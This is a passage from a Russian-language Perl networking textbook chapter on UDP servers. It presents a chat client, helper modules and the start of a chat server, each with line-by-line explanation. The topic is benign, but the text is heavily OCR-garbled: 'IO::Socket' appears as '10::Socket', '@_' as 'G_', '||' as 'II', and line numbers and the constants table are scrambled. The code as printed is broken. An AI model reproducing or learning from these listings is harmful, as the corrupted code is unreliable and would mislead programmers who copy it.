LIST_USERS
USER ITEM
Параметр
<error message>
<nickname>
<nickname>
<nickname>
<title>
<ti tle> <coun t>
<title>
<title>
<text>
<titlexuser><text>
<user><text>
<user><text>
<channel><user>
<channel><user>
<channel> <coun t> «ieso
<user> <timeon> <channel
<channel 2>... <channel n>
Описание
Сервер сообщает об ошибке
Клиент отправляет запрос на
регистрацию
Сервер подтверждает успешную
регистрацию
Клиент сообщает о выходе из системы
Клиент отправляет запрос на
подключение к каналу <ti tle>
Сервер подтверждает подключение
к каналу <ti tle>, в котором в
настоящее время работает <соил t>
пользователей
Клиент отправляет запрос на
отключение от канала
Сервер подтверждает отключение
Клиент посылает общедоступное
сообщение
Пользователь <usez> отправил
сообщение <text> в канал <title>
Клиент посылает приватное
сообщение <text> пользователю
<usez>
Пользователь <user> послал
приватное сообщение <text>
Пользователь присоединился к
указанному каналу
Пользователь отключился от
указанного канала
Клиент запросил список названий всех
каналов
Сервер отправляет ответ на запрос
LIST_CHANNELS
К каналу <channel> подключено
<соип t> пользователей и он имеет
описание KdesO
Клиент запросил список
пользователей текущего канала
2> Сервер отправляет ответ на запрос
LIST_USERS. Пользователь <user>
зарегистрирован в системе в течение
<timeon> секунд И подключился к
каналам <channel 1>... <channel л>
Глава 19. Серверы UDP
559
Информация о пользователе
Система должна сопровождать определенный объем информации состояния о
каждом активном пользователе. Информация состояния представляет каналы, к
которым подключился пользователь, его псевдоним, время пребывания в системе, а также
адрес и порт, к которому привязана клиентская программа этого пользователя. Хотя
сопровождением такой информации может заниматься и клиент, и сервер, вероятно,
лучше возложить эти обязанности на сервер. Это позволяет уменьшить зависимость
сервера от того, правильно ли реализован протокол интерактивной переписки в
клиентской программе, а также предусмотреть в дальнейшем расширение
функциональных возможностей сервера. Например, поскольку за подключение пользователей
к каналу отвечает сервер, можно легко ввести ограничения на число или тип каналов,
к которым может подключаться пользователь. Сопровождением этой информации
занимаются объекты класса ChatOb j ects : : User.
Информация о канале
Еще одним типом информации, за которым следит сервер, является список
каналов и связанная с этим информация. Каждый канал имеет свое название, описание,
предназначенное для восприятия человеком, и список пользователей, которые в
настоящее время подключены к нему. Это упрощает задачу отправки сообщения всем
текущим участникам дискуссии в канале. Сопровождение этой информации
осуществляется объектами класса ChatOb j ects: : Channe 1.
Обеспечение одновременной работы
Предполагается, что сервер быстро выполняет каждую поставленную перед ним
задачу, такую как регистрация пользователя, рассылка общедоступного сообщения,
формирование списка каналов и т.д. Поэтому сервер имеет однопоточную
конструкцию, которая обеспечивает прием и обработку сообщений по принципу "первым
поступил, первым обслуживается". Сообщения поступают от пользователей в
произвольном порядке, поэтому сервер должен следить за адресом каждого пользователя
и связывать его с соответствующим объектом ChatOb j ects: : User.
С другой стороны, клиент взаимодействует только с одним сервером. Однако он
должен обрабатывать ввод и от сервера, и от пользователя, поэтому в нем
применяется простой цикл select () для мультиплексирования входных данных, поступающих
из двух источников.
Классы объектов, применяемые в серверной программе, предназначены для
создания подклассов. Это позволяет доработать систему интерактивной переписки для
использования преимуществ многоадресной рассылки, как описано в следующей главе.
Клиент системы интерактивной
переписки
Вначале рассматривается клиентская программа (листинг 19.2). Она принимает
команды от пользователя и передает их в соответствующем формате на сервер системы
интерактивной переписки, а затем принимает сообщения с сервера и преобразовьшает их
в вывод, предназначенный для восприятия человеком, который передается пользователю.
560
Часть IV. Дополнительные темы
В клиентской программе для обработки команд пользователя и сообщений о
событиях, поступающих с сервера, применяются две таблицы переходов. Хеш %COMMANDS
служит для обработки команд, введенных пользователем. Ключами этого хеша являются
тексты команд (например, "join"), а значениями— анонимные подпрограммы,
которые вызываются при получении соответствующей команды. В большинстве случаев
подпрограмма просто отправляет на сервер соответствующий код события. Каждый
раз, когда пользователь вводит команду, клиент интерпретирует ее и любые
необязательные параметры, а затем передает эту команду в таблицу переходов.
Глобальная переменная % MESSAGES представляет собой вторую таблицу
переходов, предназначенную для обработки сообщений, полученных с сервера. Она имеет
структуру, аналогичную таблице, представленной в хеше %COMMANDS, не считая того,
что ее ключами являются числовые коды событий.
Листинг 19.2. Клиент системы интерактивной переписки
0
1
2
3
4
5
б
7
8
9
10
11
12
13
14
15
16
17
18
19
20.
21.
22:
23:
24:
25:
26:
27:
28:
29:
: #!/usr/bin/perl -w
: # Файл: chat client.pl
: # Клиент системы интерактивной переписки на основе UDP
: use strict;
: use 10::Socket,
: use 10::Select,
: use ChatObjects::ChatCodes;
: use ChatObjects: :Conim;
: $SIG{INT} = $SIG{TERM} = sub { exit 0 };
: my ($nickname,$server);
# Таблица переходов для команд пользователя
my %C0MMANDS =
>
>
>
>
>
>
>
(
channels =
sub { $server->send_event(LIST_CHANNELS)
join =
sub { $server->send_event(JOIN_REQ,shift)
part =
sub { $server->send_event(PART_REQ,shift)
users =
sub { $server->send_event(LIST_USERS)
public =
sub { $server->send_event(SEND_PUBLIC, shift)
private =
sub { $server->send_event(SEND_PRIVATE, shift)
login =
sub { $nickname = do_login() },
quit => sub { undef },
);
# Таблица переходов для сообщений сервера
my %MESSAGES =
(
ERROR() => \&error.
LOGIN ACK() => \&login ack.
JOIN ACK() => \&join part.
PART ACK() => \&join part.
PUBLIC MSG() => \&public_msg,
PRIVATE MSG() => \&private_msg.
USER_jJ0INS() => \&user_join_part.
' Глава 19. Серверы UDP
I .
561
USER_PARTS() => \&user_join_part,
CHANNEL_ITEM() => \&list_channel,
USER_ITEM() => \&list_user,
);
# Создание и инициализация сокета UDP
my $servaddr = shift II 'localhost';
my $servport = shift || 2027;
$server = ChatObjects::Comm->new(PeerAddr =
> "$servaddr:$servport") or die $G;
# Попытка регистрации
$nickname = do_login();
die "Can't log in.\n" unless $nickname;
# Чтение команд пользователя и сообщений сервера
my $select = 10::Select->new($server->socket, \*STDIN);
LOOP:
while (1) {
my Gready = $select->can_read;
foreach (Gready) {
if ($_ eq \*STDIN) {
do_user(\*STDIN) || last LOOP;
} else {
do_server ($_);
}
}
}
# Обработка команд пользователя
sub do_user {
my $h - shift;
my $data;
return unless sysread($h,$data,1024);# Самая
# длинная строка
return 1 unless $data — /\S+/;
chomp($data);
my($command,$args) - $data -~ т!Л/(\S+)\s*(.*)!;
($command,$args) = ('public*,$data) unless $command;
my $sub = $COMMANDS{lc $command);
return do_help() unless $sub;
return $sub->($args);
)
# Обработка сообщений сервера
sub do_server {
die "invalid socket" unless my $s =
ChatObjects::Comm->sock2server(shift);
die "can't receive: $!" unless
my ($mess,$args) = $s->recv_event;
my $sub = $MESSAGES{$mess} || return warn "$mess:
unknown message from server\n";
$sub->($mess,$args);
return $mess;
)
# Попытка регистрации (повторная)
sub do_login {
$server->send_event(LOGOFF,$nickname) if $nickname;
562
Часть IV. Дополнительные темы
79: my $nick = get_nickname(); # Чтение данных, введенных
# пользователем
80: my $select = 10::Select->new($server->socket);
for (my $count=l; $count <= 5; $count++) {
warn "trying to log in ($count)...\n";
$server->send_event(LOGIN_REQ,$nick);
next unless $select->can_read(6);
return $nick if dc_server($server->socket) == L0GIN_ACK;
$nick = get_nickname();
}
}
# Выдача пользователю приглашения к вводу псевдонима
sub get_nickname {
while (1) {
local $|=1;
print "Your nickname: ";
last unless defined(my $nick = <STDIN>);
chomp($nick);
return $nick if $nick =~ /"\S+$/;
warn "Invalid nickname. Must contain no spaces.\n";
}
}
# Обработка сообщений сервера об ошибках
sub error {
my ($code,$args) = G_;
print n\t** ERROR: $args **\n";
}
# Обработка подтверждения регистрации, полученного с
# сервера
sub login_ack {
my ($code,$nickname) = @_;
print "\tLog in successful. Welcome $nickname.\n";
}
# Обработка сообщений о подключении к каналу и отключении от него,
# полученных с сервера
sub join_part {
my ($code,$msg) = G_;
my ($title,$users) = $msg =~ /"(\S+) (\d+)/;
print $code == J0IN_ACK
? "\tWelccme to the $title Channel ($users users)\n"
: "\tYou have left the $title Channel\n";
}
118: # Обработка сообщений со списками каналов, полученных
# с сервера
119: sub list_channel {
120: my ($code,$msg) = G_;
121: my ($title,$countr$description) = $msg =~ /"(\S+) (\d+) (.+)/;
122: printf "\t%-20s %-40s %3d users\n",
"[$title]",$description, $count;
123: }
124: # Обработка общедоступных сообщений, полученных с сервера
Глава 19. Серверы UDP
563
125
126
127
128
129
130
131
132
133
134
135
150
182
151
152
153
154
155
156
157
158
159
160
161
162
163
164
sub public_msg {
my ($code,$msg) = G_;
my ($channel,$user,$text) = $msg =~ /*(\S+) (\S+) (.*)/;
print "\t$user [$channel]: $text\n";
}
# Обработка приватных сообщений, полученных с сервера
sub private_msg {
my ($code,$msg) = G_;
my ($user,$text) = $msg =~ /~{\S+) (.*)/;
print "\t$user [**private**]: $text\n";
}
136: # Обработка полученных с сервера сообщений о подключении к каналу и
# отключении от него других пользователей
137: sub user_join_jpart {
138: my ($code,$msg) = G_;
139: my $verb = $code == USER_JOINS ? 'has entered' : 'has left';
140: my ($channel,$user) = $msg =~ /~(\S+) (\S+)/;
141: print "\t<$user $verb $channel>\n";
142: }
143: # Обработка сообщений со списками пользователей,
# полученных с сервера
144: sub list_user {
145: my ($code,$msg) = G_;
146: my ($user,$timeon,$channels) = $msg =~ /"(\S+) (\d+) (.+)/;
147: my ($hrs,$min,$sec) = format_time($timeon);
148: printf "\t%-15s (on %02d:%02d:%02d) Channels:
%s\n",$user,$hrs,$min,$sec,$channels;
149: }
# Аккуратно отформатированное значение времени
# (чч, мм ее)
sub format_time {
my $sec = shift;
my $hours = int( $sec/(60*60) );
$sec -= ($hours*60*60);
my $min = int( $sec/60 );
$sec -= ($min*60);
return ($hours,$min,$sec);
}
END {
if (defined $server) {
$server->send_event(LOGOFF, $nickname);
$server->close;
}
}
Проведем анализ программы.
Строки 1-7. Импортирование модулей. В клиентской программе включается строгий
контроль соответствия типов и загружаются модули Ю:: Socket и Ю::Select. Затем
вызываются два модуля, разработанных специально для этого приложения. Модуль
chatobjects: :ChatCodes содержит числовые константы сообщений сервера, а модуль
chatobjects: :Comm определяет оболочку, обеспечивающую упаковку и распаковку
сообщений, которыми клиент обменивается с сервером.
564
Часть IV. Дополнительные темы
• Строки 8, 9. Установка обработчиков сигналов. Клиент должен корректно завершать
работу, даже в случае его уничтожения, путем нажатия клавиши прерывания. В связи с этим
устанавливаются обработчики hit и term, которые вызывают функцию exit () для выполнения
корректного останова. Фраза END {}, которая определена в конце этого сценария,
обеспечивает прекращение сеанса связи сервером перед остановом клиента.
Определены также две глобальные переменные. Переменная Snickname содержит
псевдоним пользователя, a $server — оболочку ChatObjects: :Comm.
• Строки 10-33. Определение таблиц переходов. В этих строках кода создаются таблицы
переходов %commands и %nessages. После получения а главном цикле команды от
пользователя выполняется ее поиск в таблице %command и вызов находящейся в ней анонимной
подпрограммы с передачей ей (этой подпрограмме) любого текста, который следует за командой на
той же строке. Ниже показана типичная запись таблицы %commands:
join => sub { Sserver->send_event(JOIN_^REQ, shift) },
Этот код означает, что при выдаче пользователем команды /join клиент должен вызвать
метод send_event() объекта $server с кодом события joinreq и любым параметром,
который следует за командой. В данном случае параметром должно быть имя канала, к которому
хочет подключиться пользователь. Ниже предстаалена типичная запись таблицы %messages:
PUBLIC_NSG() => \&public_msg.
Эта запись указывает, что сценарий должен вызвать подпрограмму public_msg() при
получении сообщения с кодом события publicmsg. Круглые скобки за константой public^msg
являются необходимыми, поскольку в ином случае интерпретатор Perl предположит, что все
находящееся слеаа от символического обозначения => представляет собой строку.
В тот момент, когда сценарий выполняет переход к одной из этих подпрограмм, он передает код
события а первом параметре и текст сообщения — во втором. Передача кода события позволяет
обрабатывать в одной и той же подпрограмме разные сообщения. Например, обработка
сообщений user_joins и userjparts, которые были отправлены а целях передачи клиенту
информации о том, что какой-то пользователь, соответственно, присоединился к каналу или покинул его,
подобна обработке, которая выполняется той же подпрограммой, join_part ().
• Строки 34-37. Создание сокета UDP и оболочки сервера. Имя сервера и номер порта
берутся из командной строки. Если эти значения не заданы, нвкоторые из них принимаются по
умолчанию. Эти данные передаются методу ChatObjects: :Comm->new(). При изучении
модуля становится очевидно, что метод new () этого модуля представляет собой тонкую
оболочку, которая принимает асе переданные ей параметры, добавляет параметр Proto => ' udp'
и передает полученные параметры методу Ю:: Socket:: iNET->new().
Следует отметить, что методу ю::Socket::iNET->new() передается параметр PeerAddr,
в результате чего модуль ю:: Socket предпринимает попытку подключиться с помощью
функции connect () к указанному хосту сервера. Этот адрес будет применяться в качестве
адреса назначения при каждом вызове метода send (), поэтому любой адрес назначения,
указанный в списке параметров, будет игнорироваться. Как было описано в главе 18, еще одним
следствием подключения сокета UDP является отказ от приема сообщений, отправленных
в сокет из других хостоа. Поскольку клиент предназначен для обмена сообщениями только
с одним сервером, и то, и другое способствует улучшению его работы.
• Строки 38-40. Регистрация. Вызывается внутренняя подпрограмма do_login(), которая
выдает пользователю приглашение к регистрации и отправляет соответствующее
регистрационное сообщение на сервер. В случае успешного выполнения подпрограмма аозаращает
псевдоним, аыбранный пользователем.
• Строки 41-53. Цикл обработки команд. Выполняется чтение команд, введенных пользователем
со стандартного устройства ввода, и получение сообщений из сокета сервера. Функция select ()
позволяет проверять нвличие входящих данных в обоих дескрипторах. Создается новый объект
Ю:: Select, набор дескрипторов которого инициализируется, для включения и сокета сервера,
и дескриптора stdin. Сокет сервера заключен в оболочку объекта ChatObjects: :Comm,
поэтому для аыборки дескриптора необходимо вызвать метод socket () этого объекта.
При каждом проходе по циклу вызывается метод $seiect->can_read () для выборки тех
дескрипторов, в которых есть данные, предназначенные для чтения. Если одним из этих
дескрипторов является stdin, то вызывается подпрограмма dc_user() для обработки команд
пользователя. В ином случае вызывается подпрограмма dc_server() для обработки
сообщений, полученных из сокета.
Глава 19. Серверы UDP
565
Обратите внимание, вызов метода can_read () покажет, что дескриптор stdin готов для
чтения, если пользователь вдруг закроет поток, нажав комбинацию клавиш, которая обозначает
конец файла. Подпрограмма douser () предусматривает специвльную проаерку признака
конца файла EOF и возвращает ложное значение. После этого происходит выход из цикла
и программа завершается.
• Строки 54-66. Обработка команд пользователя. Подпрограмма do user о считывает
команды со стандартного устройства ввода и переходит к выполнению кода, предназначенного
для их обработки. Ее параметром является ссылка на шаблон типа \* stdin, возвращенный
функцией select (). Поскольку функция select () плохо сочетается со стандартной
буферизацией ааода-вывода, для чтения из дескриптора stdin не применяется оператор угловых
скобок. Вместо этого, вызывается функция sysread() для выборки из стандартного
устройства ввода самой длинной возможной строки; предполагается, что она соответствует строке
ввода. Это — вполне допустимое предположение, если пользователь вводит строки на терми-
нвле. Если бы мы собирались принимать команды из файла или канала, то предусмотрели бы
использование оболочки Ю: :Getline, описанной в главе 13.
Каждая команда с помощью синтаксического анализа разбивается на саму команду и ее
параметр. Любая команда, которая не начинается с символа "/", считается общедоступным
сообщением, которое должно быть отправлено а текущий канал. В самой программе это
рассматривается как выдача команды "public", и в качестве параметра этой команды представляется
вся введенная строка.
Выполняется поиск команды в таблице переходов % commands и, если она не найдена, выдается
сообщение об ошибке. В ином случае вызывается возвращенная подпрограмма, которой
передаются параметры команды, если они имеются. Большинство команд предусматривает отправку
сообщения на сервер путем аызова метода send_event () глобального объекта Sserver.
• Строки 67-75. Обработка сообщений сервером. Для обработки сообщений, поступающих
с сервера, вызывается подпрограмма do_server(). Параметром, получаемым ею из цикла
select о, является дескриптор сокета. Поскольку нежелательно использовать функции,
предназначенные для непосредственной работы с сокетом, вызывается статический метод
sock2server () модуля ChatObjects:: Coram для выборки соответствующего объекта
ChatObjects: :Comm.
Вызывается метод recv_event() объекта ChatObjects: :Comm для получения сообщения
с сервера и разбиения его путем синтаксического анализа на код события и данные. Этот код
будет применяться для поиска обработчика в таблице переходов %messages. Если такоаой
найден, он вызывается. В ином случае выводится предупреждающее сообщение. После
вызова данной подпрограммы подпрограмма do_server () аозвращает код события как результат
своего выполнения1.
• Строки 76-88. Регистрация. Подпрограмма dc_login() вначале отправляет код события
logoff, если глобальная переменная Snickname уже определена. Затем она запрашивает
у пользователя регистрационное имя путем вызова подпрограммы get_nickname () и
отправляет на сервер сообщение login_req.
Теперь подпрограмма ожидает получения сообщения login_ack с подтверждением
регистрации от сервера. Возможно, что запрос или подтверждение будут потеряны при передаче,
поэтому подпрограмма do_login () несколько раз повторяет попытку регистрации, используя
при этом функцию select () с шестисекундным тайм-аутом для ожидания отаета. Если
подтверждение login_ack не будет получено после пяти попыток, подпрограмма do_login ()
отказывается от дальнейших попыток.
• Строки 89-158. Обработка событий сервера. Остальная часть этой клиентской
программы а основном состоит из подпрограмм обработки событий сервера. Каждая из них
выполняет синтаксический анализ данных событий сервера (если в этом есть
необходимость) и выводит сообщение для пользователя. Типичным примером является
подпрограмма list_channel (), которая вызывается при получении клиентом сообщения
channel_item, содержащего информацию о том, к каким дискуссионным каналам может
присоединиться пользователь. В этом случае данные события состоят из назаания кана-
' Здесь было бы проще непосредственно использовать глобальный объект ^server, однако этот косвенный
метод оправдает себя в многоадресной версии системы интерактивной переписки, рассматриваемой в главе 21.
566
Часть IV. Дополнительные темы
ла, числа подписавшихся на него пользователей и краткого описания темы канала.
Подпрограмма преобразует эту информацию в аккуратно оформленную запись таблицы
и выводит ее на стандартное устройство аывода.
Обратите внимание, что в подпрограмме list_channei () и аналогичных процедурах код
события предоставляется в виде первого параметра. Это позволяет обрабатывать в некоторых
подпрограммах аналогичные сообщения, например, как в подпрограмме join_part(),
которая обрабатывает и сообщения join_ack, и сообщения part_ack.
• Строки 159-164. Выход из системы и выполнение заключительных действий. Поскольку
никакие соединения не устанавливаются, сервер не имеет информации о том, работает ли еще
пользователь, если он не получил от клиента сообщения об окончании работы. Сценарий заканчивается
блоком end {}, который выполняется непосредственно перед завершением программы. Этот блок
предусматривает отправку на сервер сообщения о событии logoff и закрытие сокета.
Обратите внимание, что клиентская программа, приведенная в листинге 19.2, не
предусматривает повторной отправки сообщений или явного ожидания конкретных
ответов, не считая регистрационного сообщения. Поскольку это— интерактивное
приложение, мы полагаемся на то, что пользователь заметит, что какая-то команда
"не сработала", и выдаст ее повторно. Кроме того, нас мало беспокоит то, что какое-
то общедоступное сообщение не поступит в распоряжение пользователя.
При необходимости можно повысить надежность доставки каждого исходящего
сообщения, передавая его повторно до тех пор, пока не будет получено подтверждение
о его получении от сервера. В подпрограмме do_login () проиллюстрирован простой
способ решения такой задачи. Безусловно, в результате повышается риск отправки
серверу дубликатов сообщения, если первоначальное сообщение было доставлено, а
подтверждение — потеряно при передаче. Однако дублирующиеся сообщения для сервера
не имеют никакого значения, поскольку повторное выполнение таких действий, как
присоединение к каналу, не влечет за собой никаких отрицательных последствий.
Модуль ChatObjects::Comm
Теперь рассмотрим модуль ChatObjects: :Comm (листинг 19.3). Он представляет
собой оболочку для сокета UDP, которая обеспечивает возможность кодирования
и декодирования сообщений системы интерактивной переписки.
ЛИСТИНГ 19.3. МОД ЛЬChatObjосts: :Сошш
О: package ChatObjects::Comm;
1: # Файл: ChatObjects/Comm.pm
use strict;
use Carp 'croak'
use 10::Socket;
my %SERVERS;
6: sub new {
7: my $pack = shift;
8: my $sock = $pack->create_socket(G_) or croak($G);
9: return $SERVERS{$sock} = bless {sock=>$sock},$pack;
10: }
11: sub create_socket
{ shift; 10::Socket::INET->new(G_, Proto=>'udp") }
12: sub sock2server { shift; return $SERVERS{$ [0]} }
Глава 19. Серверы UDP
567
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
sub socket { shift->{sock} }
sub close {
my $self = shift;
delete $SERVERS{$self->socket};
close $self->socket;
}
sub send_event {
my $self = shift;
my ($code,$text,$address) = G_;
$text ||= ";
my $msg = pack "na*",$code,$text;
if (defined $address) {
send($self->socket,$msg,0,$address);
} else {
send($self->socket,$msg,0);
}
} I
sub recv_event {
my $self = shift;
my $data;
return unless my $addr = recv($self->socket,$data,1024, 0);
my ($code,$text) = unpack("na*",$data);
return ($code,$text,$addr);
}
37: 1;
Проведем анализ программы.
Строки 1-5. Загрузка требуемых модулей. Включается строгий контроль соответствия типов
и загружаются модули Carp и io:: socket. Определяется также глобальная переменная
пакета %servers, которая будет применяться для установки обратной связи от объекта
Ю: :Socket к объекту chatobjects: :Coitim, который служит для него оболочкой.
Строки 6-10. Конструктор объекта. Метод пей О создает и инициализирует новый объект
chatobjects: :comm. Для создания соответствующего объекта сокета и записи его в хеш,
включенный в прострвнство имен модуля с помощью функции bless (), вызыввется еще один
метод, createsocketO. Перед возвратом нового объекта он запоминается в глобальной
переменной %servers.
Строка 11. Метод create_socket (). Этот метод возвращает объект Ю:: socket:: INET,
инициализированный соответствующим образом. Вызывается метод Ю:: socket: :iNET->new()
с параметром Proto, равным "udp", и всеми прочими параметрами, переданными данному методу.
Строка 12. Поиск объекта chatobjects: :Comm по его сокету. В методе класса
sock2server () для поиска объекта Chatobjects: :Coinm по соответствующему ему объекту
Ю:: socket применяется переменная %servers.
Строка 13. Поиск сокета по объекту Chatobjects:: сопш. Метод socket {) выполняет
прямо противоположное действие, возвращая объект io:: socket, соответствующий объекту
Chatobjects: :Comm.
Строки 14-18. Закрытие сокета. Метод close () закрывает сокет и удаляет объект
Chatobjects::Comm ИЗ хеша %SERVERS.
Строки 19-29. Отправка сообщения о событии. Метод send_event О может использоваться или
клиентом для отправки команды на сервер, или сервером — для отправки клиенту кода события.
Этот метод принимает три параметра, содержащие код события, данные события и адрес
назначения. В этой подпрограмме вызывается функция pack () для упаковки кода события и данных в
двоичный формат, используемый в этом протоколе, а затем выполняется отправка данных в сокет с
помощью функции send (). Если задвн адрес назначения, то используется функция send () с
четырьмя параметрами. В ином случае предполвгается, что в сокете с помощью функции connect () был
установлен адрес назначения, применяемый по умолчанию, и вызывается функция send () с тремя
568
Часть IV. Дополнительные темы
параметрами. Поскольку вызов функции send() является последним в этой подпрограмме, код
результата вызова неявно возвращается методу send_event ().
• Строки 30-36. Получение сообщения о событии. Метод recv_event () вызывает функцию
recv () для получения сообщения о событии от сервере. Сообщение о событии рвспаковыва-
ется и преобразуется в код события и данные. Эти значения возвращаются вместе с адресом
другого участника обмена данными.
Модуль ChatObjects::ChatCodes
Для полноты в листинге 19.4 приведен модуль ChatObjects : :ChatCodes. Он
только определяет различные константы кодов событий, используемые клиентом
и сервером системы интерактивной переписки.
ЛИСТИНГ 19.4. МОД ЛЬ ChatOb" ectsi: :ChatCodes
0: package ChatObjects::ChatCodes;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34:
: use
strict;
: require Exporter;
: use
vars qw(GISA GEXPORT),
: GISA = qw(Exporter);
: GEXPORT = qw(
use
use
use
use
use
use
use
use
use
use
use
use
use
use
use
use
use
use
constant
constant
constant
constant
constant
constant
constant
constant
constant
constant
constant
constant
constant
constant
constant
constant
constant
constant
ERROR
LOGIN REQ
JOIN REQ
PART REQ
SEND PUBLIC
SEND PRIVATE
USER JOINS
LOGIN ACK
JOIN ACK
PART ACK
PUBLIC MSG
PRIVATE MSG
USER PARTS
LIST CHANNELS CHANNEL ITEI
LIST USERS
LOGOFF
);
ERROR
LOGIN REQ
LOGIN ACK
LOGOFF
JOIN REQ
JOIN ACK
PART REQ
PART ACK
SEND PUBLIC
PUBLIC MSG
SEND PRIVATE
PRIVATE..MSG
USER JOINS
USER PARTS
LIST CHANNELS
CHANNEL ITEM
LIST USERS
USER ITEM
USER ITEM
=>
=>
=>
=>
=>
=>
=>
=>
=>
=>
=>
=>
=>
=>
10
20
30
40
50
60
70
80
90,
100;
120;
130;
140;
150;
=> 160;
=> 170;
=> 180;
=> 1<
30;
35:
1;
Глава 19. Серверы UDP
$69
Сервер системы интерактивной
переписки
Сервер системы интерактивной переписки сложнее по сравнению с клиентом этой
системы, поскольку он должен следить за каждым пользователем, который
регистрируется и подключается к тому или иному каналу. Каждый раз, когда пользователь
присоединяется к каналу или покидает его, сервер должен направить извещение об этом каждому
оставшемуся участнику дискуссии в канале. Аналогичным образом, если пользователь,
подключенный к каналу, отправляет в него общедоступное сообщение, это сообщение
должно быть продублировано и отправлено каждому абоненту канала по очереди.
Для упрощения управления пользователями применяются два
вспомогательных класса, ChatObjects::User и ChatObjects::Channel. Новый объект
ChatOb j ects:: User создается при подключении каждого нового пользователя к системе
и уничтожается после выхода пользователя из системы. В классе запоминаются адрес и
номер порта сокета клиента, а также псевдоним пользователя, время регистрации и
каналы, к которым он подключился. Этот класс предоставляет также методы для подключения
к каналам и отключения от них, отправки сообщений другим пользователям, а также для
получения списков пользователей и каналов. Поскольку работа сервера в основном
сводится к отправке соответствующих сообщений пользователям, основная часть его кода
находится в классе ChatObjects: :User.
ChatObjects::Channel — небольшой класс, который следит за каждым каналом.
В нем хранится имя и описание канала, а также ведется список абонентов. Список
абонентов используется для широковещательной рассылки общедоступных
сообщений и извещения абонентов о том, что какой-то пользователь присоединился к каналу
или покинул его.
Основной сценарий сервера
Вначале рассмотрим основную часть кода сервера (листинг 19.5).
ЛИСТИНГ 19.5. ОСНОВНОЙ сценарий chat_eerver.pl
#!/usr/bin/perl -w
# Файл: chat_server.pl
# Сервер системы интерактивной переписки на основе UDP
use strict;
use ChatObj ects::ChatCodes ;
use ChatObjects::Comm;
use ChatObjects::User;
use ChatObj ects::Channel ;
use constant DEBUG => 0;
9: # Создание ряда каналов
10: ChatObjects::Channel->new
('CurrentEvents', 'Discussion of current events');
11: ChatObjects::Channel->new
('Weather', 'Talk about the weather');
12: ChatObjects::Channel->new
('Gardening', 'For those with the green thumb');
570
Часть IV. Дополнительные темы
13: ChatObjects::Channel->new
('Hobbies', 'For hobbyists of all types');
14: ChatObjects::Channel->new
('Pets', 'For our furry and feathered friends');
15
16
17
18
19
20
21
22
23
24
25
26
27
28
33
34
35
37
38
39
40
41
42
43
44
45
# Таблица переходов
my %DISPATCH
(
LOGOFF()
JOIN REQ()
PART REQ()
SEND PUBLICO
SEND PRIVATE()
LIST CHANNELS()
LIST USERS()
);
=>
=>
=>
=>
=>
=>
=>
'logout',
'join'.
'part',
'send public',
'send private',
"list channels'.
'list users'.
# Создание сокета UDP
my $port = shift I| 2027;
my $server = ChatObjects::Comm->new(LocalPort=>$port);
warn "servicing incoming requests...\n";
29: while (1) {
30: next unless my ($code,$msg,$addr) = $server->recv_event;
31: warn "$code $msg\n" if DEBUG;
32: do_login($addr,$msg,$server) && next if $code == LOGIN_REQ;
my $user = ChatObjects::User->lookup_byaddr($addr);
$server->send_event(ERROR, "please log in",$addr) && next
unless defined $user;
36: $server->send_event
(ERROR,"unimplemented event code",$addr) && next
unless my $dispatch = $DISPATCH{$code};
$user->$dispatch($msg) ;
}
sub do_login {
my ($addr,$nickname,$server) = G_;
return $server->send_event
(ERROR,"nickname already in use",$addr)
if ChatObjects::User->lookup_byname($nickname);
return unless ChatObjects::User->new($addr,$nickname,$server);
}
Проведем анализ программы.
Строки 1-8. Загрузка модулей. Выполнение программы начинается с загрузки различных
модулей ChatObjects, В ТОМ числе ChatObjects: :ChatCodes, ChatObjects: : Coram
и chatob j ects:: user. В этой части кода определена также константа debug, которая должна быть
установлена равной истинному значению для включения режима выдачи отладочных сообщений.
Строки 9-14. Определение каналов. Теперь создается пять каналов путем вызова метода
ChatObjects: :Channel->new(). Этот метод принимает два параметра, соответствующие
названию и описанию канала.
Строки 15-24. Создание таблицы переходов. Определяется таблица переходов %dispatch,
аналогичная используемой в клиентском приложении. Каждый ключ в таблице предстааляет
собой числовой код события, а каждое значение содержит имя метода ChatObjects: :user.
За исключением первоначальной регистрации, взаимодействие с удаленным пользователем
Глава 19. Серверы UDP
571
проходит через объект chatobj ects:: user, поэтому имеет смысл применять переходы к
вызовам методов, а не к анонимным подпрограммам, как было сделано в клиенте. Ниже показана
типичная запись таблицы переходов:
SEND_PUBLIC () => ■ sendjiublic',
Эту запись можно расшифровать так: при получении от клиента сообщения send_public
необходимо вызвать метод sendjiublic () соответствующего объекта Chatob j ects:: user.
Строки 25-28. Создание нового объекта ChatObjects: :Comm. Номер портв из командной
строки применяется для инициализации нового объекта ChatObjects: :Comm с параметром
LocalPort => Sport. В самой программе при этом для работы с протоколом UDP создается
объект Ю:: socket, привязанный к указанному порту. В отличие от кода клиента, в коде
сервера не указаны имя хоста или номер порта другого участника обмена данными, к которым
должно быть выполнено подключение, поскольку сервер при этом потерял бы возможность
принимать сообщения от разных хостов.
Строки 29-32. Обработка входящих сообщений и выполнение запросов на регистрацию.
В цикле основного сценария сервере повторно вызывается метод recv_event() объекта
ChatObjects: :Server. Этот метод вызывает метод recv() основополагающего сокета,
интерпретирует сообщение, а затем возвращает код события, сообщение, связанное с
событием, и упакованный адрес клиента, который отправил сообщение.
Запросы нв регистрацию обрабатываются немного инвче, поскольку с данным адресом
клиента еще не связан ни один объект ChatObjects: :User. Если поступило сообщение о событии
с кодом login_req, то адрес клиента, текст сообщения о событии и объект
ChatObjects: : Coram передаются подпрограмме do_login(). Эта подпрограмма создает
новый объект ChatObjects: :User и отправляет клиенту сообщение login_ack.
Строки 33-35. Поиск информации о пользователе. Все прочие коды событий должны относиться
к пользователю, который был зарегистрирован ранее. Вызыаается метод класса
ChatObjects: :User->lookup_byaddr () для поиска объекта ChatObjects: :User, который
связан с адресом данного клиента. Если таковой отсутствует, это значит, что пользователь еще не
зарегистрирован, поэтому клиенту отправляется сообщение об ошибке с кодом события типа error
Строки 36-39. Обработка события. В случае успешного определения пользователя,
соответствующего адресу клиента, выполняется поиск кода события в таблице переходов, и этот код
применяется для вызова метода объекта данного пользователя. При необходимости методу передаются
на обработку данные события, если они имеются. Если код события не распознан, программе
сообщает об этом, формируя событие с кодом error. В любом случае обработка транзакции завершена,
поэтому программа переходит в начало цикла и ожидает следующий входящий запрос.
Строки 40-45. Обработка запросов на регистрацию. Для обработки нового запроса на
